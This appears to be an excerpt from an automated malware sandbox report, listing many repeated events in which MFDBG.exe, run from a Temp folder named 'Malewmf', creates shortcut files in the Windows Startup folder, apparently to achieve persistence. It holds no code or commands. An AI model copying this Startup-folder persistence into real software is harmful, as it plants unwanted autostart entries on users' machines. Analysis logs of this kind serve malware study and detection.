Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c5be5b02ea4b4047b95f86b24240ed8d.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3356faa26ec946bfbdf809cb586a83df.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ffc920abc35c439d975a00ec232f4ddf.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_be3e0245798a4224b34d9ee9a0a7d657.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ed165a352a64430bae8f3469b4d6438b.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_90704eec61fd46579887b548a9eed8d8.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_a2ea4756929e45d591866deb3da89f16.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_af936ee15ca74eb78fd816d5c0dbf422.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_a8fb2c0a2a2c4eb9829effb4e6edad58.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3ec4d02d64774ed19afa29e8bb8ddc6c.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_bfeda46592ff464ebaeae8e45cb96243.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_eaf8294eda534b5697837c1c42337c62.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_32fb5e1915b64ce9b10b3ce066c7433f.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ce21d56bdf234704a66c2040b18a1a63.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_80ee0f8576b24cacad7909e092fb0114.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_652900a696884fcbbf18df3336ca907e.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_1e9490372e78474980811a0c919205ad.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_801e900601214cb5b115d90657521ce8.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_80256ad3cc9e4284878abfe4a1f47963.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f119c2045df2439d9dc7f23a349c20d3.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_188c5308975b46f296a177de1c21edb3.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_99b010cfd49548989d1ae05e0606b7f9.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_86ab77220d7e4e97967a9fe41b2db936.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_256b7bc30da443a3af04f1c3149f2a81.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_38dbc749f0574866bee5744ec345225d.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_32a771c4b8ba4aaca08a780459678c06.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_a9c532f7c5974a7eaee02bedebe1cbdf.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c248998bc7984c0a9363c00298387770.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_a743113bb7e749dfa4965f279611659b.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c31a7c420d8a4d4696f672280bb2c4b6.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f6b2dc63d8724a01b65af3be17a83528.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c66780075c16437399490e20625aefa3.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_301b2044a3774d16b16cf2ecb28bc225.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_924ff549fd444705b16594fd9c2fd671.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_30c3c723f2c44cb390101a7e9170f1b7.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_5bbb0dc5e1d54152a78fd9850f5eefd7.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_e4d6ae53c7d849b38ff6f23886167cbd.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_14662e32a3fc4e91a626d2db03168433.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_dc0b7f730d78456594918e0041888b5e.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f7b95cb2ff3b4ba4877b5bd6a7ebb25a.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ad42cf402d6c4b6aa876291c072cd52b.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_667935b677aa419a9ccc9bb20f18bbc3.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_998d25b952b74ec58255d6b3b8251b50.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ef6e4451b27b4dbfa91845ca1e8c53db.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f31d299e77614811bbf95885d0fa85bd.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_20f03ec0b722450f8dd89b1eba645eb7.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_77a25129c6d64ccbbfda9413779b332f.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_92df9103c8114040941a49fbe28a743d.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_0c1030fd26594fa6a4b6d656fb63271c.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f73de78cc5d64e2cbf683454adf71c62.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_994cb8b01abd4f199e774b7546cf7f6a.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_66440b47f06c450b8dde09c2b58074a2.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_5d3d5da592e84e35aca9d3e42ec61578.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_4cceea8106cf449babcf5c092e075541.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3cd2a756f7db46e18e341fb3aaaeab68.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_cb3770bd64ae4facbb95bb90dfd311bc.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_56382babef014f719181053cebe0c3c9.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f54b3fe81f7346f0b3c02addc3692e43.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_2cbed55d522c412f8d89f39321ac9868.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3b87b2a493de457ea11bc6d57803e75e.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_679b140d753d463fa5f7410c49b12ae5.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_d5e849c7e90d4d4bb762678af2f09dd1.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ae3abd9456904d769e04732960fea291.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_5460a2bf7e6f47bf9fc7ccb90ba44964.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_cced82f205f241c6a8aab111ffbaad83.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f5cf6be2ff21462486128190b8390323.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_4e6d00d8ae154c67a16b94aaca016867.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c537fcc881fd49cabaab9f159b7ddb28.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_a3ea820ecad64f51a4b7e66694e7756b.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_066c526578dd43c093e1070c0cb937dc.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_cde732e5dddd4a47bcdc18deaf833198.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_0df31e6159844471917aa5b468c1a0d4.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_85d88418c33a4c349c180bcf8d9eaa82.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_db0e0a0033264ea2abd75127aac03a26.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ad27d76c850649209970018fbb8d0dcb.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_6d35d3f78b844aeda57d5e1f351b7ccd.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_37bb5516687f4f8ca361b5f9d1ca7e73.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_80b420a76f29430b846d83399fe78855.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_d4ade3b0c3da42618c0d49ba137e6d8d.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_11799185fc1f4c72ae6760a10b880fb8.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_4c2f51caa23a4c02868a318247d6d956.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_163453e47915407487c8012c3b0b8886.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_0f4f09629b044095b2c2d8514fe27aae.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_78e00d46c533471ab2c16662c583f680.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_246ebd4a9dea4101a4e74b29f59d02ce.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_bb78e47ca2634e6a9332233b47bfee84.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_4a5702d5110b439782b10927afb82e71.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_724b9d1e0a014fd29bf8a64660e843ee.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_2d672838abde4257b8a4838689b148e7.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f4bc7d7640b5455e9dbee4c934518f80.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ab0a587ce8594652a32e2550c334c07b.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3b02aa4440784b739919a14c6b0548a6.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_078c51c4a43a411483324571326e1ad2.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_be4831634e064c8bb70557869d6673f4.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_9f087932f08345f68c905339e7015437.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_e072f185ba6a4099bb4cf1c48dad4b91.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ac8ceff2ce5240808388fa938cf22e6e.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_265e3abed05a4b529e57b388cd489159.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3a23fe1d7ec944a1817d5b09d7284278.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f68fc1aacaaa46fe8ac4978abd54243d.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_d3046e48bcec47bd855e0ac952badebf.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_e51f37fde46b4955ba442ede1eff7bf5.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ea589666448340608abd19f58b415517.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f0351268e62648168c71aac7e0a3ab40.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_92c50cd1a2684953912584e5ebba738e.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_2bebec6db45143f499e187ed65ef4b98.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_9ad8f05f19b94d98a579a7255e662ed4.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_8c507cf2ef524523902de74dffb9295c.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c888df9723c8481196499f03d4dedf14.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3a945fade9b046e8b79e1230a518d579.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3981c917f4f14b8bae23ff7cff08ee22.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b32c70c409d5483bb853df493e35acd0.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_6471b9284ad949049802e24b2a2a63e3.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_af4cb4b43d25418c90c096803f150cb3.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_bc40d91b915f4b45bffcca17ba03e30b.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f5b3f16f31644dc0b5048a2ab0c6cdfc.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_20e4f71819f04ed6847d18e38ae8c118.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c08f80e60ee941fe8c7b3cdd13c3e1cc.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_903962c29a134959900953d45d34a11f.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_6d065e6befc749ab9239a3368ee375b0.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_8be187454c0c4d6bb7a17c6bd0751ea3.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_68de44edeeb44d688ad1a2b46c0c98a2.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_fc72e97d66244b88a66a7cd0b1abc795.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_803fd97d22e84af8ba81083c1ee73b95.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c05d666362f84681af224d41eb6276ab.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c66968aaeeed407289c078eb50b09af0.lnk Jump to behavior
